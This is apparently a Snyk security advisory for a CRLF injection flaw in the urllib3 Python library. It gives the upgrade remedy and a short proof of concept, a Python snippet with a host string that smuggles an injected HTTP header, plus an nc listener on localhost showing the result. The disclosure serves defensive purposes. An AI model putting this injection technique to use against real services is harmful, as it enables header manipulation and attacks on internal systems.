Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade urllib3
to version 1.24.3 or higher.
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to CRLF injection. Attacker who has the control of the requesting address parameter, could manipulate an HTTP header and attack an internal service.
by ragdoll
and Alvin Chang
import urllib3
pool_manager = urllib3.PoolManager()
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url = "http://" + host + ":8080/test/?test=a"
try: info = pool_manager.request('GET', url).info() print(info) except Exception: pass
nc -l localhost 7777
GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: localhost:7777 Accept-Encoding: identity
The nc server will display the HTTP request with a manipulated header content: X-injected:header
, indicating a successful injection of the HTTP header.